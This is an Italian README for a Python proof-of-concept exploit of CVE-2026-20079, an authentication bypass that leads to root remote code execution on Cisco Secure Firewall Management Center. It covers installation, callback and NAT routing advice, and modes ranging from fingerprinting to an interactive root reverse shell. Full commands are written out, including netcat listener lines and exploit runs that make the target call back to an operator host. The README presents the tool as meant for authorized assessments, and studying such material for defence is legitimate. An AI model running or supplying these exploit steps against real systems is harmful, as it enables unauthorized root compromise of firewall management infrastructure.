
Implementa la catena di attacco CVE-2026-20079 da bypass dell'autenticazione a RCE come root contro Cisco Secure FMC, tramite le modalità fingerprint, check, proof ed exploit interattivo.
Proof of concept in Python per la catena pubblicamente documentata di bypass dell'autenticazione fino a RCE come root in Cisco Secure Firewall Management Center, relativa a CVE-2026-20079.
Questa non è una nuova vulnerabilità né una catena di exploit sviluppata in modo indipendente. Si tratta di un'implementazione clean-room della sequenza di richieste pubblicata da VulnCheck, con modalità separate di fingerprinting, verifica a fasi, proof one-shot ed exploit interattivo.
È richiesto Python 3.10 o versione successiva. Su Linux o macOS:
git clone https://github.com/CyberAuth/CVE-2026-20079.git
cd CVE-2026-20079
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install -r requirements.txt
python3 CVE-2026-20079.py --help
Tutti i valori 192.0.2.x riportati di seguito sono indirizzi riservati alla documentazione. Sono segnaposto, non informazioni sul target scoperte, e devono essere sostituiti con valori provenienti dalla valutazione autorizzata. Non ci si aspetta che i comandi funzionino senza modifiche.
| Esempio | Significato | Cosa usare invece |
|---|---|---|
https://192.0.2.10 | URL dell'FMC target | Lo schema, l'indirizzo e la porta esatti dell'FMC autorizzato |
192.0.2.20 | Indirizzo a cui l'FMC si riconnette | L'indirizzo IP o il nome DNS del listener dell'operatore così come raggiungibile dall'FMC |
192.0.2.0/24 | CIDR di esempio per il fingerprinting | Un intervallo di rete esplicitamente autorizzato |
4444 | Porta TCP di callback/listener | Una porta raggiungibile approvata sul sistema di callback |
0.0.0.0 | Interfaccia su cui il listener si associa sul sistema dell'operatore | Mantenerlo per ascoltare su tutte le interfacce locali, oppure usare l'indirizzo di una singola interfaccia locale |
192.0.2.10 in --expected-callback-source | Sorgente attesa del callback | L'indirizzo sorgente dell'FMC così come osservato dal listener; omettere questa opzione quando il NAT lo rende incerto |
http://127.0.0.1:8080 | Proxy intercettante locale opzionale | L'URL del proxy effettivamente in ascolto sul sistema dell'operatore |
--callback-hostUsa questa regola: dal punto di vista dell'FMC, quale indirizzo raggiunge il listener dell'operatore? Quell'indirizzo è --callback-host.
| Percorso di rete | Valore tipico di --callback-host |
|---|---|
| L'operatore e l'FMC sono sulla stessa rete instradata | L'indirizzo LAN raggiungibile del sistema dell'operatore, eth0, en0 o altro |
| L'operatore raggiunge l'FMC tramite VPN | L'indirizzo raggiungibile dell'interfaccia VPN, come tun0 o utun, quando l'FMC ha una rotta verso di esso |
| L'operatore è dietro NAT o un firewall | L'IP pubblico o il nome DNS la cui porta selezionata è inoltrata al sistema dell'operatore |
| Si utilizza un tunnel di callback o un VPS | L'endpoint del tunnel raggiungibile o l'indirizzo del VPS |
Non usare 127.0.0.1 o 0.0.0.0 per --callback-host. 127.0.0.1 farebbe riferimento all'FMC stesso, mentre 0.0.0.0 è un valore di bind per il listener, non una destinazione. Assicurati che il routing, le regole del firewall e qualsiasi port forwarding consentano all'FMC di raggiungere --callback-host sulla --callback-port.
--listen-host è solo locale: seleziona l'interfaccia su cui il listener integrato attende. Il suo valore predefinito, 0.0.0.0, ascolta su ogni interfaccia locale. Non indica all'FMC dove connettersi. Pertanto, --callback-host e --listen-host possono essere diversi, specialmente in presenza di NAT.
Supponi questo laboratorio fittizio, solo a scopo di documentazione:
Operator system FMC target
eth0: 192.0.2.20 192.0.2.10
1. Operator ---------------------------------------> FMC
HTTPS requests to https://192.0.2.10
2. Operator <--------------------------------------- FMC
Listener on TCP 4444 callback to 192.0.2.20:4444
I valori corrispondono al comando nel modo seguente:
--target https://192.0.2.10 identifica l'FMC oggetto della valutazione.--callback-host 192.0.2.20 è l'indirizzo eth0 del sistema dell'operatore perché
l'FMC può instradare direttamente verso di esso.--callback-port 4444 è la porta TCP approvata utilizzata dal callback.--listen-host 0.0.0.0 fa sì che il listener integrato accetti il callback su
qualsiasi interfaccia locale, inclusa eth0.Un comando di prova one-shot per quell'esempio sarebbe:
python3 CVE-2026-20079.py \
--proof \
--target https://192.0.2.10 \
--callback-host 192.0.2.20 \
--callback-port 4444 \
--listen-host 0.0.0.0
Il flusso è: l'operatore invia richieste HTTPS a 192.0.2.10, poi l'FMC
si riconnette all'indirizzo 192.0.2.20:4444 dell'operatore. In una valutazione reale,
sostituire entrambi gli indirizzi IP e confermare la rotta di ritorno prima di eseguire il
comando. Se l'FMC non riesce a raggiungere l'indirizzo eth0 dell'operatore, utilizzare invece
l'indirizzo VPN, NAT, tunnel o VPS raggiungibile descritto sopra.
| Modalità | Effetto sulla rete o sul target | Evidenza o risultato |
|---|---|---|
--fingerprint | Solo richieste GET | Una possibile superficie web FMC; non una conferma della vulnerabilità |
--check | Al massimo due richieste GET; nessun aggiornamento della sessione | Il pattern di risposta del bypass noto corrisponde completamente o parzialmente |
--check --intrusive | Aggiorna lo stato della sessione lato server | Bypass dell'autenticazione e accesso a un token di azione |
--proof | Scrive ed esegue un payload di callback limitato | Esecuzione come root più pulizia, senza una shell interattiva |
--exploit | Scrive ed esegue un payload FIFO/netcat | Un callback root interattivo, o verifica limitata con --auto-verify |
Impostare una volta i tre valori di esempio, sostituendo ciascuno con il target autorizzato, l'indirizzo di callback dell'operatore e la porta:
# Replace all three values before running a mode.
FMC_URL=https://192.0.2.10
CALLBACK_HOST=192.0.2.20 # Address the FMC can use to reach this listener
CALLBACK_PORT=4444
Poi scegli esattamente una modalità:
# GET-only product fingerprint; start here
python3 CVE-2026-20079.py --fingerprint --target "$FMC_URL"
# GET-only authentication-bypass check; does not upgrade the session
python3 CVE-2026-20079.py --check --target "$FMC_URL"
# Intrusive authentication-bypass check; changes server-side session state
python3 CVE-2026-20079.py --check --intrusive --target "$FMC_URL"
# One-shot root proof with integrated listener and verified cleanup
python3 CVE-2026-20079.py --proof --target "$FMC_URL" \
--callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT"
# Interactive root callback; first start one listener in another terminal:
# Linux (common netcat variants): nc -lvnp "$CALLBACK_PORT"
# macOS built-in netcat: nc -lvn "$CALLBACK_PORT"
python3 CVE-2026-20079.py --exploit --target "$FMC_URL" \
--callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT"
# Bounded root verification and cleanup instead of an interactive shell
python3 CVE-2026-20079.py --exploit --target "$FMC_URL" \
--callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT" \
--auto-verify
[!IMPORTANT] Il fingerprinting è un passaggio euristico di identificazione del prodotto, non un controllo di vulnerabilità.
MATCHeLIKELYnon dimostrano che il target sia affetto o sfruttabile, eNO_MATCHnon esclude FMC. Reverse proxy, pagine di login personalizzate, controlli di accesso, errori di rete o modifiche al prodotto possono influenzare il risultato.